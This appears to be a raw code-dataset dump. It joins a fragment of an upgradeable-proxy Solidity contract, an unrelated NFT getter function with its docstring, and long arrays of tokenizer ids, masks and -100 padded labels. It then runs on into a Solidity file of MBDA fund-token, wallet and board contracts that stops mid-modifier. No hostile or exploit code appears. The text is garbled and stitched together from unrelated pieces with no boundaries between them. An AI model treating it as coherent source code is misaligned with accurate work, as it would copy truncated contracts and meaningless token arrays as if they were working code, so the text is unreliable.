{ _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
* @dev Ultimate view for inspecting a token @param tokenId the unique ID of a RiverMenNFT token @return [[locationId, fusionCount, signature, creationTime, parts], ownerAddress, tokenURI, dealId] @notice dealId = 0 means the item is not listed in exchange/
function allInfo(uint256 tokenId) public view returns ( Product memory, address, string memory ) { require(_exists(tokenId), "Token not exists"); return (_tokenDetailsMapping[tokenId], ownerOf(tokenId), tokenURI(tokenId)); }
11,639,373
[ 1, 57, 5618, 4988, 1476, 364, 5334, 310, 279, 1147, 225, 1147, 548, 326, 3089, 1599, 434, 279, 534, 1667, 49, 275, 50, 4464, 1147, 327, 12167, 3562, 548, 16, 25944, 1380, 16, 3372, 16, 6710, 950, 16, 2140, 6487, 3410, 1887, 16, 1147, 3098, 16, 10490, 548, 65, 225, 10490, 548, 273, 374, 4696, 326, 761, 353, 486, 12889, 316, 7829, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 777, 966, 12, 11890, 5034, 1147, 548, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 1135, 261, 203, 5411, 8094, 3778, 16, 203, 5411, 1758, 16, 203, 5411, 533, 3778, 203, 3639, 262, 203, 565, 288, 203, 3639, 2583, 24899, 1808, 12, 2316, 548, 3631, 315, 1345, 486, 1704, 8863, 203, 3639, 327, 261, 67, 2316, 3790, 3233, 63, 2316, 548, 6487, 3410, 951, 12, 2316, 548, 3631, 1147, 3098, 12, 2316, 548, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.6; pragma experimental ABIEncoderV2; /** * SafeMath from OpenZeppelin - commit https://github.com/OpenZeppelin/openzeppelin-contracts/commit/5dfe7215a9156465d550030eadc08770503b2b2f * * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @title MBDAAsset is a template for MB Digital Asset token * */ contract MBDAAsset { using SafeMath for uint256; // // events // // ERC20 events event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); // mint/burn events event Mint(address indexed _to, uint256 _amount, uint256 _newTotalSupply); event Burn(address indexed _from, uint256 _amount, uint256 _newTotalSupply); // admin events event BlockLockSet(uint256 _value); event NewAdmin(address _newAdmin); event NewManager(address _newManager); event NewInvestor(address _newInvestor); event RemovedInvestor(address _investor); event FundAssetsChanged( string indexed tokenSymbol, string assetInfo, uint8 amount, uint256 totalAssetAmount ); modifier onlyAdmin { require(msg.sender == admin, "Only admin can perform this operation"); _; } modifier managerOrAdmin { require( msg.sender == manager || msg.sender == admin, "Only manager or admin can perform this operation" ); _; } modifier boardOrAdmin { require( msg.sender == board || msg.sender == admin, "Only admin or board can perform this operation" ); _; } modifier blockLock(address _sender) { require( !isLocked() || _sender == admin, "Contract is locked except for the admin" ); _; } modifier onlyIfMintable() { require(mintable, "Token minting is disabled"); _; } struct Asset { string assetTicker; string assetInfo; uint8 assetPercentageParticipation; } struct Investor { string info; bool exists; } uint256 public totalSupply; string public name; uint8 public decimals; string public symbol; address public admin; address public board; address public manager; uint256 public lockedUntilBlock; bool public canChangeAssets; bool public mintable; bool public hasWhiteList; bool public isSyndicate; string public urlFinancialDetailsDocument; bytes32 public financialDetailsHash; string[] public tradingPlatforms; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowed; mapping(address => Investor) public clearedInvestors; Asset[] public assets; /** * @dev Constructor * @param _fundAdmin - Fund admin * @param _fundBoard - Board * @param _tokenName - Detailed ERC20 token name * @param _decimalUnits - Detailed ERC20 decimal units * @param _tokenSymbol - Detailed ERC20 token symbol * @param _lockedUntilBlock - Block lock * @param _newTotalSupply - Total Supply owned by the contract itself, only Manager can move * @param _canChangeAssets - True allows the Manager to change assets in the portfolio * @param _mintable - True allows Manager to rebalance the portfolio * @param _hasWhiteList - Allows transfering only between whitelisted addresses * @param _isSyndicate - Allows secondary market */ constructor( address _fundAdmin, address _fundBoard, string memory _tokenName, uint8 _decimalUnits, string memory _tokenSymbol, uint256 _lockedUntilBlock, uint256 _newTotalSupply, bool _canChangeAssets, bool _mintable, bool _hasWhiteList, bool _isSyndicate ) public { name = _tokenName; require(_decimalUnits <= 18, "Decimal units should be 18 or lower"); decimals = _decimalUnits; symbol = _tokenSymbol; lockedUntilBlock = _lockedUntilBlock; admin = _fundAdmin; board = _fundBoard; totalSupply = _newTotalSupply; canChangeAssets = _canChangeAssets; mintable = _mintable; hasWhiteList = _hasWhiteList; isSyndicate = _isSyndicate; balances[address(this)] = totalSupply; Investor memory tmp = Investor("Contract", true); clearedInvestors[address(this)] = tmp; emit NewInvestor(address(this)); } /** * @dev Set financial details url * @param _url - URL * @return True if success */ function setFinancialDetails(string memory _url) public onlyAdmin returns (bool) { urlFinancialDetailsDocument = _url; return true; } /** * @dev Set financial details IPFS hash * @param _hash - URL * @return True if success */ function setFinancialDetailsHash(bytes32 _hash) public onlyAdmin returns (bool) { financialDetailsHash = _hash; return true; } /** * @dev Add trading platform * @param _details - Details of the trading platform * @return True if success */ function addTradingPlatform(string memory _details) public onlyAdmin returns (bool) { tradingPlatforms.push(_details); return true; } /** * @dev Remove trading platform * @param _index - Index of the trading platform to be removed * @return True if success */ function removeTradingPlatform(uint256 _index) public onlyAdmin returns (bool) { require(_index < tradingPlatforms.length, "Invalid platform index"); tradingPlatforms[_index] = tradingPlatforms[tradingPlatforms.length - 1]; tradingPlatforms.pop(); return true; } /** * @dev Whitelists an Investor * @param _investor - Address of the investor * @param _investorInfo - Info * @return True if success */ function addNewInvestor(address _investor, string memory _investorInfo) public onlyAdmin returns (bool) { require(_investor != address(0), "Invalid investor address"); Investor memory tmp = Investor(_investorInfo, true); clearedInvestors[_investor] = tmp; emit NewInvestor(_investor); return true; } /** * @dev Removes an Investor from whitelist * @param _investor - Address of the investor * @return True if success */ function removeInvestor(address _investor) public onlyAdmin returns (bool) { require(_investor != address(0), "Invalid investor address"); delete (clearedInvestors[_investor]); emit RemovedInvestor(_investor); return true; } /** * @dev Add new asset to Portfolio * @param _assetTicker - Ticker * @param _assetInfo - Info * @param _assetPercentageParticipation - % of portfolio taken by the asset * @return success */ function addNewAsset( string memory _assetTicker, string memory _assetInfo, uint8 _assetPercentageParticipation ) public onlyAdmin returns (bool success) { uint256 totalPercentageAssets = 0; for (uint256 i = 0; i < assets.length; i++) { require( keccak256(bytes(_assetTicker)) != keccak256(bytes(assets[i].assetTicker)), "An asset cannot be assigned twice" ); totalPercentageAssets = SafeMath.add( assets[i].assetPercentageParticipation, totalPercentageAssets ); } totalPercentageAssets = SafeMath.add( totalPercentageAssets, _assetPercentageParticipation ); require( totalPercentageAssets <= 100, "Total assets number cannot be higher than 100" ); emit FundAssetsChanged( _assetTicker, _assetInfo, _assetPercentageParticipation, totalPercentageAssets ); Asset memory newAsset = Asset( _assetTicker, _assetInfo, _assetPercentageParticipation ); assets.push(newAsset); success = true; return success; } /** * @dev Remove asset from Portfolio * @param _assetIndex - Asset * @return True if success */ function removeAnAsset(uint8 _assetIndex) public onlyAdmin returns (bool) { require(canChangeAssets, "Cannot change asset portfolio"); require( _assetIndex < assets.length, "Invalid asset index number. Greater than total assets" ); string memory assetTicker = assets[_assetIndex].assetTicker; assets[_assetIndex] = assets[assets.length - 1]; delete assets[assets.length - 1]; assets.pop(); emit FundAssetsChanged(assetTicker, "", 0, 0); return true; } /** * @dev Updates an asset * @param _assetTicker - Ticker * @param _assetInfo - Info to update * @param _newAmount - % of portfolio taken by the asset * @return True if success */ function updateAnAssetQuantity( string memory _assetTicker, string memory _assetInfo, uint8 _newAmount ) public onlyAdmin returns (bool) { require(canChangeAssets, "Cannot change asset amount"); require(_newAmount > 0, "Cannot set zero asset amount"); uint256 totalAssets = 0; uint256 assetIndex = 0; for (uint256 i = 0; i < assets.length; i++) { if ( keccak256(bytes(_assetTicker)) == keccak256(bytes(assets[i].assetTicker)) ) { assetIndex = i; totalAssets = SafeMath.add(totalAssets, _newAmount); } else { totalAssets = SafeMath.add( totalAssets, assets[i].assetPercentageParticipation ); } } emit FundAssetsChanged( _assetTicker, _assetInfo, _newAmount, totalAssets ); require( totalAssets <= 100, "Fund assets total percentage must be less than 100" ); assets[assetIndex].assetPercentageParticipation = _newAmount; assets[assetIndex].assetInfo = _assetInfo; return true; } /** * @return Number of assets in Portfolio */ function totalAssetsArray() public view returns (uint256) { return assets.length; } /** * @dev ERC20 Transfer * @param _to - destination address * @param _value - value to transfer * @return True if success */ function transfer(address _to, uint256 _value) public blockLock(msg.sender) returns (bool) { address from = (admin == msg.sender) ? address(this) : msg.sender; require( isTransferValid(from, _to, _value), "Invalid Transfer Operation" ); balances[from] = balances[from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(from, _to, _value); return true; } /** * @dev ERC20 Approve * @param _spender - destination address * @param _value - value to be approved * @return True if success */ function approve(address _spender, uint256 _value) public blockLock(msg.sender) returns (bool) { require(_spender != address(0), "ERC20: approve to the zero address"); address from = (admin == msg.sender) ? address(this) : msg.sender; allowed[from][_spender] = _value; emit Approval(from, _spender, _value); return true; } /** * @dev ERC20 TransferFrom * @param _from - source address * @param _to - destination address * @param _value - value * @return True if success */ function transferFrom(address _from, address _to, uint256 _value) public blockLock(_from) returns (bool) { // check sufficient allowance require( _value <= allowed[_from][msg.sender], "Value informed is invalid" ); require( isTransferValid(_from, _to, _value), "Invalid Transfer Operation" ); // transfer tokens balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub( _value, "Value lower than approval" ); emit Transfer(_from, _to, _value); return true; } /** * @dev Mint new tokens. Can only be called by minter or owner * @param _to - destination address * @param _value - value * @return True if success */ function mint(address _to, uint256 _value) public onlyIfMintable managerOrAdmin blockLock(msg.sender) returns (bool) { balances[_to] = balances[_to].add(_value); totalSupply = totalSupply.add(_value); emit Mint(_to, _value, totalSupply); emit Transfer(address(0), _to, _value); return true; } /** * @dev Burn tokens * @param _account - address * @param _value - value * @return True if success */ function burn(address payable _account, uint256 _value) public payable blockLock(msg.sender) managerOrAdmin returns (bool) { require(_account != address(0), "ERC20: burn from the zero address"); totalSupply = totalSupply.sub(_value); balances[_account] = balances[_account].sub(_value); emit Transfer(_account, address(0), _value); emit Burn(_account, _value, totalSupply); if (msg.value > 0) { (bool success, ) = _account.call{value: msg.value}(""); require(success, "Ether transfer failed."); } return true; } /** * @dev Set block lock. Until that block (exclusive) transfers are disallowed * @param _lockedUntilBlock - Block Number * @return True if success */ function setBlockLock(uint256 _lockedUntilBlock) public boardOrAdmin returns (bool) { lockedUntilBlock = _lockedUntilBlock; emit BlockLockSet(_lockedUntilBlock); return true; } /** * @dev Replace current admin with new one * @param _newAdmin New token admin * @return True if success */ function replaceAdmin(address _newAdmin) public boardOrAdmin returns (bool) { require(_newAdmin != address(0x0), "Null address"); admin = _newAdmin; emit NewAdmin(_newAdmin); return true; } /** * @dev Set an account can perform some operations * @param _newManager Manager address * @return True if success */ function setManager(address _newManager) public onlyAdmin returns (bool) { manager = _newManager; emit NewManager(_newManager); return true; } /** * @dev ERC20 balanceOf * @param _owner Owner address * @return True if success */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev ERC20 allowance * @param _owner Owner address * @param _spender Address allowed to spend from Owner's balance * @return uint256 allowance */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Are transfers currently disallowed * @return True if disallowed */ function isLocked() public view returns (bool) { return lockedUntilBlock > block.number; } /** * @dev Checks if transfer parameters are valid * @param _from Source address * @param _to Destination address * @param _amount Amount to check * @return True if valid */ function isTransferValid(address _from, address _to, uint256 _amount) public view returns (bool) { if (_from == address(0)) { return false; } if (_to == address(0)) { return false; } if (!hasWhiteList) { return balances[_from] >= _amount; // sufficient balance } bool fromOK = clearedInvestors[_from].exists; if (!isSyndicate) { return balances[_from] >= _amount && // sufficient balance fromOK; // a seller holder within the whitelist } bool toOK = clearedInvestors[_to].exists; return balances[_from] >= _amount && // sufficient balance fromOK && // a seller holder within the whitelist toOK; // a buyer holder within the whitelist } } contract MBDAWallet { mapping(address => bool) public controllers; address[] public controllerList; bytes32 public recipientID; string public recipient; modifier onlyController() { require(controllers[msg.sender], "Sender must be a Controller Member"); _; } event EtherReceived(address sender, uint256 amount); /** * @dev Constructor * @param _controller - Controller of the new wallet * @param recipientExternalID - The Recipient ID (managed externally) */ constructor(address _controller, string memory recipientExternalID) public { require(_controller != address(0), "Invalid address of controller 1"); controllers[_controller] = true; controllerList.push(_controller); recipientID = keccak256(abi.encodePacked(recipientExternalID)); recipient = recipientExternalID; } /** * @dev Getter for the total number of controllers * @return Total number of controllers */ function getTotalControllers() public view returns (uint256) { return controllerList.length; } /** * @dev Adds a new Controller * @param _controller - Controller to be added * @return True if success */ function newController(address _controller) public onlyController returns (bool) { require(!controllers[_controller], "Already a controller"); require(_controller != address(0), "Invalid Controller address"); require( msg.sender != _controller, "The sender cannot vote to include himself" ); controllers[_controller] = true; controllerList.push(_controller); return true; } /** * @dev Deletes a Controller * @param _controller - Controller to be deleted * @return True if success */ function deleteController(address _controller) public onlyController returns (bool) { require(_controller != address(0), "Invalid Controller address"); require( controllerList.length > 1, "Cannot leave the wallet without a controller" ); delete (controllers[_controller]); for (uint256 i = 0; i < controllerList.length; i++) { if (controllerList[i] == _controller) { controllerList[i] = controllerList[controllerList.length - 1]; delete controllerList[controllerList.length - 1]; controllerList.pop(); return true; } } return false; } /** * @dev Getter for the wallet balance for a given asset * @param _assetAddress - Asset to check balance * @return Balance */ function getBalance(address _assetAddress) public view returns (uint256) { MBDAAsset mbda2 = MBDAAsset(_assetAddress); return mbda2.balanceOf(address(this)); } /** * @dev Transfer and ERC20 asset * @param _assetAddress - Asset * @param _recipient - Recipient * @param _amount - Amount to be transferred * @notice USE NATIVE TOKEN DECIMAL PLACES * @return True if success */ function transfer( address _assetAddress, address _recipient, uint256 _amount ) public onlyController returns (bool) { require(_recipient != address(0), "Invalid address"); MBDAAsset mbda = MBDAAsset(_assetAddress); require( mbda.balanceOf(address(this)) >= _amount, "Insufficient balance" ); return mbda.transfer(_recipient, _amount); } /** * @dev Getter for the Recipient * @return Recipient (string converted) */ function getRecipient() public view returns (string memory) { return recipient; } /** * @dev Getter for the Recipient ID * @return Recipient (bytes32) */ function getRecipientID() external view returns (bytes32) { return recipientID; } /** * @dev Change the recipient of the wallet * @param recipientExternalID - Recipient ID * @return True if success */ function changeRecipient(string memory recipientExternalID) public onlyController returns (bool) { recipientID = keccak256(abi.encodePacked(recipientExternalID)); recipient = recipientExternalID; return true; } /** * @dev Receive * Emits an event on ether received */ receive() external payable { emit EtherReceived(msg.sender, msg.value); } /** * @dev Withdraw Ether from the contract * @param _beneficiary - Destination * @param _amount - Amount * @return True if success */ function withdrawEther(address payable _beneficiary, uint256 _amount) public onlyController returns (bool) { require( address(this).balance >= _amount, "There is not enough balance" ); (bool success, ) = _beneficiary.call{value: _amount}(""); require(success, "Transfer failed."); return success; } function isController(address _checkAddress) external view returns (bool) { return controllers[_checkAddress]; } } /** * @dev Wallet Factory */ contract MBDAWalletFactory { struct Wallet { string recipientID; address walletAddress; address controller; } Wallet[] public wallets; mapping(string => Wallet) public walletsIDMap; event NewWalletCreated( address walletAddress, address indexed controller, string recipientExternalID ); /** * @dev Creates a new wallet * @param _controller - Controller of the new wallet * @param recipientExternalID - The Recipient ID (managed externally) * @return true if success */ function CreateWallet( address _controller, string memory recipientExternalID ) public returns (bool) { Wallet storage wallet = walletsIDMap[recipientExternalID]; require(wallet.walletAddress == address(0x0), "WalletFactory: cannot associate same recipientExternalID twice."); MBDAWallet newWallet = new MBDAWallet( _controller, recipientExternalID ); wallet.walletAddress = address(newWallet); wallet.controller = _controller; wallet.recipientID = recipientExternalID; wallets.push(wallet); walletsIDMap[recipientExternalID] = wallet; emit NewWalletCreated( address(newWallet), _controller, recipientExternalID ); return true; } /** * @dev Total Wallets ever created * @return the total wallets ever created */ function getTotalWalletsCreated() public view returns (uint256) { return wallets.length; } /** * @dev Wallet getter * @param recipientID recipient ID * @return Wallet (for frontend use) */ function getWallet(string calldata recipientID) external view returns (Wallet memory) { require( walletsIDMap[recipientID].walletAddress != address(0x0), "invalid wallet" ); return walletsIDMap[recipientID]; } } /** * @title MBDAManager is a contract that generates tokens that represents a investment fund units and manages them */ contract MBDAManager { struct FundTokenContract { address fundManager; address fundContractAddress; string fundTokenSymbol; bool exists; } FundTokenContract[] public contracts; mapping(address => FundTokenContract) public contractsMap; event NewFundCreated( address indexed fundManager, address indexed tokenAddress, string indexed tokenSymbol ); /** * @dev Creates a new fund token * @param _fundManager - Manager * @param _fundChairman - Chairman * @param _tokenName - Detailed ERC20 token name * @param _decimalUnits - Detailed ERC20 decimal units * @param _tokenSymbol - Detailed ERC20 token symbol * @param _lockedUntilBlock - Block lock * @param _newTotalSupply - Total Supply owned by the contract itself, only Manager can move * @param _canChangeAssets - True allows the Manager to change assets in the portfolio * @param _mintable - True allows Manager to min new tokens * @param _hasWhiteList - Allows transfering only between whitelisted addresses * @param _isSyndicate - Allows secondary market * @return newFundTokenAddress the address of the newly created token */ function newFund( address _fundManager, address _fundChairman, string memory _tokenName, uint8 _decimalUnits, string memory _tokenSymbol, uint256 _lockedUntilBlock, uint256 _newTotalSupply, bool _canChangeAssets, // ---> Deixar tudo _canChangeAssets bool _mintable, // ---> Usar aqui _canMintNewTokens bool _hasWhiteList, bool _isSyndicate ) public returns (address newFundTokenAddress) { MBDAAsset ft = new MBDAAsset( _fundManager, _fundChairman, _tokenName, _decimalUnits, _tokenSymbol, _lockedUntilBlock, _newTotalSupply, _canChangeAssets, _mintable, _hasWhiteList, _isSyndicate ); newFundTokenAddress = address(ft); FundTokenContract memory ftc = FundTokenContract( _fundManager, newFundTokenAddress, _tokenSymbol, true ); contracts.push(ftc); contractsMap[ftc.fundContractAddress] = ftc; emit NewFundCreated(_fundManager, newFundTokenAddress, _tokenSymbol); return newFundTokenAddress; } /** * @return Total number of funds created */ function totalContractsGenerated() public view returns (uint256) { return contracts.length; } } /** * @title MbdaBoard is the smart contract that will control all funds * */ contract MbdaBoard { uint256 public minVotes; //minimum number of votes to execute a proposal mapping(address => bool) public boardMembers; //board members address[] public boardMembersList; // array with member addresses /// @dev types of proposal allowed they are Solidity function signatures (bytes4) default ones are added on deploy later more can be added through a proposal mapping(string => bytes4) public proposalTypes; uint256 public totalProposals; /// @notice proposal Struct struct Proposal { string proposalType; address payable destination; uint256 value; uint8 votes; bool executed; bool exists; bytes proposal; /// @dev ABI encoded parameters for the function of the proposal type bool success; bytes returnData; mapping(address => bool) voters; } mapping(uint256 => Proposal) public proposals; /// @dev restricts calls to board members modifier onlyBoardMember() { 